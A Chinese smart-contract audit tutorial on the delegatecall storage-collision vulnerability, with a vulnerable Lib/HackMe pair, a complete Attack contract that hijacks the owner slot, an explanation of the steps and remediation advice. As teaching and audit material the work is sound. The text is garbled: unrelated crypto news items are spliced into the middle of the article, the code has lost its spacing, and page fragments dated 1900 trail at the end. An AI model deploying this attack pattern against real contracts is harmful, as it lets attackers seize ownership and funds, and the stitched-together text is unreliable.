上篇文章中我們了解了什么是delegatecall函數以及一個基礎的漏洞,這篇文章的目的是加深一下大家對delegatecall的印象并帶大家一起去玩點刺激的,拿下一個進階版的漏洞合約。
這里就不再重復之前的基礎知識了,不了解或者遺忘的可以再看看上一篇文章:《智能合約安全審計入門篇——delegatecall(1)》。
漏洞示例
contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}
Vitalik發文表達對“人格生物特征證明”的看法:7月24日消息,以太坊聯合創始人Vitalik Buterin今日發表文章“What do I think about biometric proof of personhood?”以表達對人格生物特征證明的看法。他表示原則上,人格證明的概念似乎非常有價值,雖然各種實現方式都有其風險,但完全沒有任何人格證明也有其風險:沒有人格證明的世界似乎更有可能是一個由中心化身份解決方案、金錢、小型封閉社區或三者的某種組合主導的世界。
在許多人格證明項目中——不僅是Worldcoin,還有人類證明、Circles等——“旗艦應用程序”是內置的“N-per-person token”(有時稱為“UBI 代幣”)。每個在系統中注冊的用戶每天(或每小時或每周)都會收到一些固定數量的代幣。在許多這樣的情況下,共同的主線是希望創建開放和民主的機制,避免項目運營商的集中控制和最富有的用戶的統治。[2023/7/24 15:55:33]
漏洞分析
CZ:銀行系統的失敗和加密沒有太大關系,銀行系統越好對加密越有利:5月1日消息,Binance 創始人 CZ 在 AMA 中發言表示,銀行行業存在了很長時間,因此銀行也變得越來越沒有效率。銀行的失敗和加密的發展沒有太大關系,加密貨幣只是人們進行投資的一種選擇,不同的人喜歡不同類型的資產,人們并不會在銀行失敗之后就進入加密領域。銀行系統越好,對加密越有利。我們應該專注于讓加密使用起來更方便。
CZ 表示,在面對各地的監管時,我認為最大的挑戰是銀行的支持,如果銀行尤其愿意與加密業務合作交流。這樣我們才能真正方便地實現傳統金融系統和加密金融系統之間的流動性整合,這對雙方都有好處。[2023/5/1 14:37:32]
這次的攻擊目標依然是獲得HackMe合約中的?owner?權限,我們可以看到兩個合約中除了HackMe合約中的構造函數可以修改合約的?owner?其他地方并沒有修改?owner?的函數。我們要如何完成攻擊呢?這里需要一點小技巧,大家可以思考一下,剛好也可以驗證一下自己對于之前知識的掌握程度以及自己的思維是否活躍。
Moonbeam:2.642億GLMR處于質押狀態,約為總流通供應量的53.6%:1月12日消息,據Moonbeam Network一周年回顧推文,2.642億GLMR處于質押狀態,約為總流通供應量的53.6%。已質押的GLMR分布在631,749個非智能合約地址中,2.1%是活躍地址且處于質押狀態。
2022年,有2,678名開發者在Moonbeam Network部署了超過100+萬個智能合約,每周活躍開發者僅次Polygon。收集人節點有68位,均處于活躍狀態。[2023/1/12 11:08:22]
是否有想法呢?沒有想法也沒關系,我們一起來看攻擊是如何完成的:
攻擊合約
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}
CZ:USDC取款量有所增長,需要等待銀行開門才會恢復:金色財經報道,幣安首席執行官CZ在社交媒體發文稱,在 USDC 上,幣安看到取款量有所增加。但是,從 PAX/BUSD 轉換為 USDC 的通道需要通過紐約的銀行以美元計價,銀行要再過幾個小時才開門,預計當銀行開門時情況會恢復。相關兌換交易是 1:1 轉換,不涉及保證金或杠桿。未來幣安也會嘗試建立更流暢的兌換渠道。同時,隨時提現任何其他穩定幣,BUSD,USDT等。[2022/12/13 21:41:45]
我們先看攻擊流程:
1.Alice部署Lib合約;
2.Alice部署HackMe合約并在構造函數中傳入Lib合約的地址;
3.攻擊者Eve部署Attack合約并在構造函數中傳入HackMe合約的地址;
401(k)提供商ForUsAll因加密貨幣處理指導意見起訴美國勞工部:金色財經消息,因美國勞工部在退休計劃中對加密貨幣的處理指導意見,提供加密貨幣投資機會的401(k)提供商ForUsAll向其提起訴訟。ForUsAll認為美國勞工部的指導意見過于激進。該機構在發布指導意見之前,應該參與其常規的規則制定過程,包括征求公眾意見。此前美國勞工部對富達允許通過401(k)直接投資加密資產的做法表示擔憂,并援引加密資產有欺詐、盜竊和損失重大風險的觀點,還指出加密資產有高波動性、投機性以及不斷發展的監管環境等問題。據悉,早在2021年,ForUsAll宣布允許員工將部分401K退休資金(不超過5%)用于投資比特幣、以太坊等加密貨幣。(華爾街日報)[2022/6/3 3:59:32]
4.攻擊者調用Attack.attack()函數將HackMe合約中的owner變為自己。
咋回事兒呢?其實這個攻擊方式就是很巧妙的運用了delegatecall這個函數修改storage類型變量時的特征:delegatecall函數的執行環境是調用者的環境并且對于storage類型變量的修改是根據被調用合約變量存儲的插槽位置來修改的。
1.Attack.attack()函數先將自己的地址轉換為uint256類型第一次調用HackMe.doSomething()函數;
2.HackMe.doSomething()函數使用delegatecall函數帶著傳入的Attack合約的地址調用了Lib.doSomething()函數;
3.可以看到Lib.doSomething()函數將合約中存儲位置為slot0的參數改為傳入的值,這樣當HackMe合約使用delegatecall調用Lib.doSomething()函數時也將改變自己在slot0位置存儲的變量的值,也就是將lib參數改為我們傳入的Attack合約的地址。此時之前在HackMe.lib參數中存儲的Lib合約的地址就被修改成我們傳入的Attack合約的地址了;
4.Attack.attack()函數再次調用HackMe.doSomething()函數,由于在上一步我們已經將HackMe.lib變量修改為Attack合約的地址了,這時HackMe.doSomething()函數將不再調用之前的Lib合約而是用delegatecall去調用Attack.doSomething()函數。此時我們再來觀察Attack合約的寫法,發現其變量的存儲位置故意和HackMe合約保持一致,并且不難發現Attack.doSomething()函數的內容也被攻擊者寫為owner=msg.sender,這個操作修改了合約中存儲位置為slot1的變量。所以HackMe合約使用delegatecall調用Attack.doSomething()函數就會將合約中存儲位置為slot1的變量owner修改為msg.sender也就是Eve的地址,至此攻擊者完成了他的攻擊。
修復建議
作為開發者
1.?在使用delegatecall時應注意被調用合約的地址不能是可控的;
2.?在較為復雜的合約環境下需要注意變量的聲明順序以及存儲位置。因為使用delegatecall進行外部調用時會根據被調用合約的數據結構來修改本合約相應slot中存儲的數據,當數據結構發生變化時這可能會造成非預期的變量覆蓋。
作為審計者
1.在審計過程中遇到合約中有使用delegatecall時需要注意被調用的合約地址是否可控;
2.當被調用合約中的函數存在修改storage變量的情況時需要注意變量存儲插槽的位置,避免由于數據結構不一致而導致本合約中存儲的storage變量被錯誤的覆蓋。
來源:金色財經
在我們看項目介紹時經常會碰到一些奇怪的詞組,使我們對項目的理解造成困擾,本期我們來聊聊一個經常看到,并且長得很奇怪的概念性詞組“零知識證明”.
1900/1/1 0:00:00清代《郎世寧仕女圖系列》深宮幽趣限量搶購!將于2022年6月30日18:00發售,發行數量:1000份,發行價格:69.9元.
1900/1/1 0:00:00本文思路是根據我的實戰經驗總結的《黑馬量化系統》而來,多空信號如何使用,在電子版的黑馬量化系統教程中有敘述,有興趣的朋友,可以參考學習我的黑馬量化系統! 獵手說 最近因為美國方面的通脹問題.
1900/1/1 0:00:00v在昨天舉行的零點論壇上,幣安CEO趙長鵬談到了當前的加密貨幣格局,并推測從市場崩盤中復蘇。就目前而言,主流投資者對加密貨幣的看法一直在減弱.
1900/1/1 0:00:00陰謀論無處不在。 “糟了!” 鄒童感覺腦袋里的血液一下子流空,臉色變得煞白。房間里拉著窗簾,漆黑一片。坐在電腦前的他,穿著件皺巴巴的襯衣,頭發非常油膩,微微腫脹的眼球直盯著屏幕.
1900/1/1 0:00:00李笑來所著《韭菜的自我修養》一書中曾提到“每一次牛市都是市場上大量外部資金流入的結果,每一次熊市都是市場內部大量資金流出的結果.
1900/1/1 0:00:00